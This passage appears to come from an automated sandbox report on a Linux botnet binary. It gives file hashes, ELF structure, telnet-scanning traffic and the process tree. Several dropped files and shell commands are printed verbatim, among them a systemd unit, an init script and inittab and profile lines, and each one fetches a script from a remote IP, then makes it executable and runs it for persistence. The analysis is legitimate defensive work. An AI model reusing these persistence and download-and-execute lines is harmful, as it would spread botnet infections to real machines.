Preview:	::respawn:/bin/sh && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/motd

Download File

Process:	/tmp/x86_64.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.871459242626451
Encrypted:	false
SSDEEP:	3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
MD5:	2BD9B4BE30579E633FC0191AA93DF486
SHA1:	7D63A9BD9662E86666B27C1B50DB8E7370C624FF
SHA-256:	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
SHA-512:	AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	gorilla botnet is on the device ur not a cat go away.

/etc/profile

Download File

Process:	/tmp/x86_64.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.486383977913608
Encrypted:	false
SSDEEP:	3:pKWNFyFiLdjX48FIbILbaaFOdFXa50:kKooZX48bbaaeXC0
MD5:	CEC61C0CDC61AB271C45B85281469388
SHA1:	E2DC08B86AC16A6A9BDA73D26DE0055528C647D9
SHA-256:	AE69256D9ACCEE8C05AFBF46267368A0DDB3E5C9C54D24CFB018A35FEF86C560
SHA-512:	71A65EB5CBBD53E395E8A2B392CB41E289874583C4A17E086498201C6078E5043B680B4971D1913863B2699626F05F63B0936BAFCE9A8F01C6DBAFEE5E93F2A7
Malicious:	true
Preview:	/bin/sh &.wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

/etc/rc.local

Download File

Process:	/tmp/x86_64.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:TKH4vn:hv
MD5:	3E2B31C72181B87149FF995E7202C0E3
SHA1:	BD971BEC88149956458A10FC9C5ECB3EB99DD452
SHA-256:	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
SHA-512:	543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	#!/bin/sh.

/etc/systemd/system/custom.service

Download File

Process:	/tmp/x86_64.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.064804988275458
Encrypted:	false
SSDEEP:	6:z8ifitRZAMzdK+Gs2+GWRdbZX48B+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+y+GWRdtd+GWRXY+GWRuL1I
MD5:	8156A50E9D158639626649BD134E7D5D
SHA1:	D95D108656621F4B4F82B93CA0694D66F4A2FEF4
SHA-256:	FB7F3B6DA55120E08AB0B9A9F4A9ECB1BB5D89BFD665EBE23C150FBFBC06E4D8
SHA-512:	DB79A871E5317E3B9A93FF84E71318F5ABC85EBDE7C9521DF35C20C0AD8251BEB3DB33673BE4F4FF2501256613C50128BA36323C0DECD348FF6CA8A73856BE10
Malicious:	false
Preview:	[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/bin/sh.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://94.156.227.233/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.310524229392396
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	x86_64.nn.elf
File size:	97'600 bytes
MD5:	adf6b23cac984a3a3904655c9b93e95d
SHA1:	6b3eb5ca916435b936af388d0455cc67d40c8ef8
SHA256:	22edd9ca7bb64abffb6ff297dafad627e552a8922c3c442ae81643e828fb0dfe
SHA512:	f58fdecf8d876cafc10c7cd15ce74daaeed0cad06a2ccf152046667bc37ff39ba24121345eb47665c596112e9ea7ada9fea01378b3a83288acc758d740338044
SSDEEP:	1536:HPGOa+YLvmjwWrO2w1tH3BRs2d1mi//yvpW123WqCwhJ:HBa+YzmjdrO2mhBRh1mi3yI123Wqp
TLSH:	42933A07B6C0D4FDC45DC2344B6FA13AD562F69D0235B29B27D8FB262F8DE101A2D968
File Content Preview:	.ELF..............>.......@.....@........z..........@.8...@.......................@.......@.....pr......pr......................xr......xrQ.....xrQ..............1..............Q.td....................................................H...._.....<..H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	96960
Section Header Size:	64
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0x13d16	0x0	0x6	AX	16
.fini	PROGBITS	0x413e16	0x13e16	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x413e40	0x13e40	0x3430	0x0	0x2	A	32
.ctors	PROGBITS	0x517278	0x17278	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x517288	0x17288	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x5172a0	0x172a0	0x7e0	0x0	0x3	WA	32
.bss	NOBITS	0x517a80	0x17a80	0x29e8	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x17a80	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x17270	0x17270	6.3642	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x17278	0x517278	0x517278	0x808	0x31f0	3.7391	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 04:22:58.133380890 CET	47892	23	192.168.2.23	205.181.36.236
Dec 13, 2024 04:22:58.135852098 CET	41518	23	192.168.2.23	45.126.195.192
Dec 13, 2024 04:22:58.138140917 CET	58434	23	192.168.2.23	156.144.18.206
Dec 13, 2024 04:22:58.139276028 CET	60018	38242	192.168.2.23	94.156.227.234
Dec 13, 2024 04:22:58.140693903 CET	43702	23	192.168.2.23	103.196.5.144
Dec 13, 2024 04:22:58.142499924 CET	36304	23	192.168.2.23	111.125.55.91
Dec 13, 2024 04:22:58.144009113 CET	34130	23	192.168.2.23	62.225.116.100
Dec 13, 2024 04:22:58.145984888 CET	41332	23	192.168.2.23	52.84.118.146
Dec 13, 2024 04:22:58.147342920 CET	57972	23	192.168.2.23	73.218.255.124
Dec 13, 2024 04:22:58.149151087 CET	54304	23	192.168.2.23	223.38.1.80
Dec 13, 2024 04:22:58.150743008 CET	45464	23	192.168.2.23	219.241.165.108
Dec 13, 2024 04:22:58.157526016 CET	55362	23	192.168.2.23	216.250.19.190
Dec 13, 2024 04:22:58.163583994 CET	58320	23	192.168.2.23	6.211.13.65
Dec 13, 2024 04:22:58.172261000 CET	44138	23	192.168.2.23	213.55.245.14
Dec 13, 2024 04:22:58.177926064 CET	51264	23	192.168.2.23	215.52.26.4
Dec 13, 2024 04:22:58.181991100 CET	53950	23	192.168.2.23	9.129.94.122
Dec 13, 2024 04:22:58.187046051 CET	34240	23	192.168.2.23	47.141.90.29
Dec 13, 2024 04:22:58.192806959 CET	51298	23	192.168.2.23	28.27.182.234
Dec 13, 2024 04:22:58.197572947 CET	40772	23	192.168.2.23	53.236.44.244
Dec 13, 2024 04:22:58.201302052 CET	47372	23	192.168.2.23	116.88.3.27
Dec 13, 2024 04:22:58.203316927 CET	39008	199	192.168.2.23	154.216.19.139
Dec 13, 2024 04:22:58.205368996 CET	54906	23	192.168.2.23	167.167.140.221
Dec 13, 2024 04:22:58.209831953 CET	53840	23	192.168.2.23	18.242.255.3
Dec 13, 2024 04:22:58.214447021 CET	42256	23	192.168.2.23	204.76.192.171
Dec 13, 2024 04:22:58.218786001 CET	34714	23	192.168.2.23	122.159.244.47
Dec 13, 2024 04:22:58.222944975 CET	43330	23	192.168.2.23	191.141.13.246
Dec 13, 2024 04:22:58.233288050 CET	37312	23	192.168.2.23	35.38.189.105
Dec 13, 2024 04:22:58.253559113 CET	23	47892	205.181.36.236	192.168.2.23
Dec 13, 2024 04:22:58.253621101 CET	47892	23	192.168.2.23	205.181.36.236
Dec 13, 2024 04:22:58.255575895 CET	23	41518	45.126.195.192	192.168.2.23
Dec 13, 2024 04:22:58.255655050 CET	41518	23	192.168.2.23	45.126.195.192
Dec 13, 2024 04:22:58.257814884 CET	23	58434	156.144.18.206	192.168.2.23
Dec 13, 2024 04:22:58.257862091 CET	58434	23	192.168.2.23	156.144.18.206
Dec 13, 2024 04:22:58.258935928 CET	38242	60018	94.156.227.234	192.168.2.23
Dec 13, 2024 04:22:58.258977890 CET	60018	38242	192.168.2.23	94.156.227.234
Dec 13, 2024 04:22:58.260505915 CET	23	43702	103.196.5.144	192.168.2.23
Dec 13, 2024 04:22:58.260556936 CET	43702	23	192.168.2.23	103.196.5.144
Dec 13, 2024 04:22:58.262208939 CET	23	36304	111.125.55.91	192.168.2.23
Dec 13, 2024 04:22:58.262274027 CET	36304	23	192.168.2.23	111.125.55.91
Dec 13, 2024 04:22:58.263756037 CET	23	34130	62.225.116.100	192.168.2.23
Dec 13, 2024 04:22:58.263809919 CET	34130	23	192.168.2.23	62.225.116.100
Dec 13, 2024 04:22:58.265667915 CET	23	41332	52.84.118.146	192.168.2.23
Dec 13, 2024 04:22:58.265712976 CET	41332	23	192.168.2.23	52.84.118.146
Dec 13, 2024 04:22:58.267004967 CET	23	57972	73.218.255.124	192.168.2.23
Dec 13, 2024 04:22:58.267044067 CET	57972	23	192.168.2.23	73.218.255.124
Dec 13, 2024 04:22:58.268860102 CET	23	54304	223.38.1.80	192.168.2.23
Dec 13, 2024 04:22:58.268914938 CET	54304	23	192.168.2.23	223.38.1.80
Dec 13, 2024 04:22:58.802659988 CET	23	45464	219.241.165.108	192.168.2.23
Dec 13, 2024 04:22:58.802675962 CET	23	55362	216.250.19.190	192.168.2.23
Dec 13, 2024 04:22:58.802685022 CET	23	58320	6.211.13.65	192.168.2.23
Dec 13, 2024 04:22:58.802695990 CET	23	44138	213.55.245.14	192.168.2.23
Dec 13, 2024 04:22:58.802706003 CET	23	51264	215.52.26.4	192.168.2.23
Dec 13, 2024 04:22:58.802722931 CET	45464	23	192.168.2.23	219.241.165.108
Dec 13, 2024 04:22:58.802727938 CET	23	53950	9.129.94.122	192.168.2.23
Dec 13, 2024 04:22:58.802738905 CET	23	34240	47.141.90.29	192.168.2.23
Dec 13, 2024 04:22:58.802748919 CET	23	51298	28.27.182.234	192.168.2.23
Dec 13, 2024 04:22:58.802753925 CET	23	40772	53.236.44.244	192.168.2.23
Dec 13, 2024 04:22:58.802758932 CET	23	47372	116.88.3.27	192.168.2.23
Dec 13, 2024 04:22:58.802767992 CET	199	39008	154.216.19.139	192.168.2.23
Dec 13, 2024 04:22:58.802767038 CET	55362	23	192.168.2.23	216.250.19.190
Dec 13, 2024 04:22:58.802772045 CET	51264	23	192.168.2.23	215.52.26.4
Dec 13, 2024 04:22:58.802778006 CET	23	54906	167.167.140.221	192.168.2.23
Dec 13, 2024 04:22:58.802784920 CET	34240	23	192.168.2.23	47.141.90.29
Dec 13, 2024 04:22:58.802788973 CET	23	53840	18.242.255.3	192.168.2.23
Dec 13, 2024 04:22:58.802791119 CET	58320	23	192.168.2.23	6.211.13.65
Dec 13, 2024 04:22:58.802798033 CET	23	42256	204.76.192.171	192.168.2.23
Dec 13, 2024 04:22:58.802808046 CET	23	34714	122.159.244.47	192.168.2.23
Dec 13, 2024 04:22:58.802812099 CET	47372	23	192.168.2.23	116.88.3.27
Dec 13, 2024 04:22:58.802812099 CET	39008	199	192.168.2.23	154.216.19.139
Dec 13, 2024 04:22:58.802817106 CET	23	43330	191.141.13.246	192.168.2.23
Dec 13, 2024 04:22:58.802826881 CET	23	37312	35.38.189.105	192.168.2.23
Dec 13, 2024 04:22:58.802829981 CET	42256	23	192.168.2.23	204.76.192.171
Dec 13, 2024 04:22:58.802834034 CET	51298	23	192.168.2.23	28.27.182.234
Dec 13, 2024 04:22:58.802834988 CET	40772	23	192.168.2.23	53.236.44.244
Dec 13, 2024 04:22:58.802839994 CET	53950	23	192.168.2.23	9.129.94.122
Dec 13, 2024 04:22:58.802839994 CET	53840	23	192.168.2.23	18.242.255.3
Dec 13, 2024 04:22:58.802874088 CET	54906	23	192.168.2.23	167.167.140.221
Dec 13, 2024 04:22:58.802922964 CET	34714	23	192.168.2.23	122.159.244.47
Dec 13, 2024 04:22:58.802925110 CET	44138	23	192.168.2.23	213.55.245.14
Dec 13, 2024 04:22:58.802925110 CET	43330	23	192.168.2.23	191.141.13.246
Dec 13, 2024 04:22:58.802934885 CET	37312	23	192.168.2.23	35.38.189.105
Dec 13, 2024 04:23:00.285298109 CET	42836	443	192.168.2.23	91.189.91.43
Dec 13, 2024 04:23:01.053195000 CET	42516	80	192.168.2.23	109.202.202.202
Dec 13, 2024 04:23:15.643336058 CET	43928	443	192.168.2.23	91.189.91.42
Dec 13, 2024 04:23:25.881824970 CET	42836	443	192.168.2.23	91.189.91.43
Dec 13, 2024 04:23:32.025120020 CET	42516	80	192.168.2.23	109.202.202.202
Dec 13, 2024 04:23:56.597623110 CET	43928	443	192.168.2.23	91.189.91.42
Dec 13, 2024 04:24:17.075074911 CET	42836	443	192.168.2.23	91.189.91.43

System Behavior

Analysis Process: x86_64.nn.elf PID: 6255, Parent PID: 6179

General

Start time (UTC):	03:22:56
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	/tmp/x86_64.nn.elf
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6272, Parent PID: 6255

General

Start time (UTC):	03:22:56
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: sh PID: 6272, Parent PID: 6255

General

Start time (UTC):	03:22:56
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl enable custom.service >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6278, Parent PID: 6272

General

Start time (UTC):	03:22:56
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 6278, Parent PID: 6272

General

Start time (UTC):	03:22:56
Start date (UTC):	13/12/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable custom.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6304, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: sh PID: 6304, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6306, Parent PID: 6304

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 6306, Parent PID: 6304

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/system
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6307, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: sh PID: 6307, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6308, Parent PID: 6307

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ln PID: 6308, Parent PID: 6307

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/system /etc/rcS.d/S99system
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6309, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: sh PID: 6309, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6310, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: sh PID: 6310, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6311, Parent PID: 6310

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 6311, Parent PID: 6310

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/sh
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6312, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: sh PID: 6312, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6313, Parent PID: 6312

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: mkdir PID: 6313, Parent PID: 6312

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir -p /etc/rc.d
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6314, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: sh PID: 6314, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6315, Parent PID: 6314

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ln PID: 6315, Parent PID: 6314

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/sh /etc/rc.d/S99sh
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6316, Parent PID: 6255

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6318, Parent PID: 6316

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6319, Parent PID: 6316

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6326, Parent PID: 6316

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6327, Parent PID: 6316

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/tmp/x86_64.nn.elf
Arguments:	-
File size:	97600 bytes
MD5 hash:	adf6b23cac984a3a3904655c9b93e95d

Chronological Activities

Analysis Process: udisksd PID: 6265, Parent PID: 799

General

Start time (UTC):	03:22:56
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6265, Parent PID: 799

General

Start time (UTC):	03:22:56
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: systemd PID: 6291, Parent PID: 6290

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 6291, Parent PID: 6290

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: udisksd PID: 6329, Parent PID: 799

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6329, Parent PID: 799

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6405, Parent PID: 799

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6405, Parent PID: 799

General

Start time (UTC):	03:22:57
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6425, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6425, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6426, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6426, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6428, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6428, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6429, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6429, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6430, Parent PID: 799

General

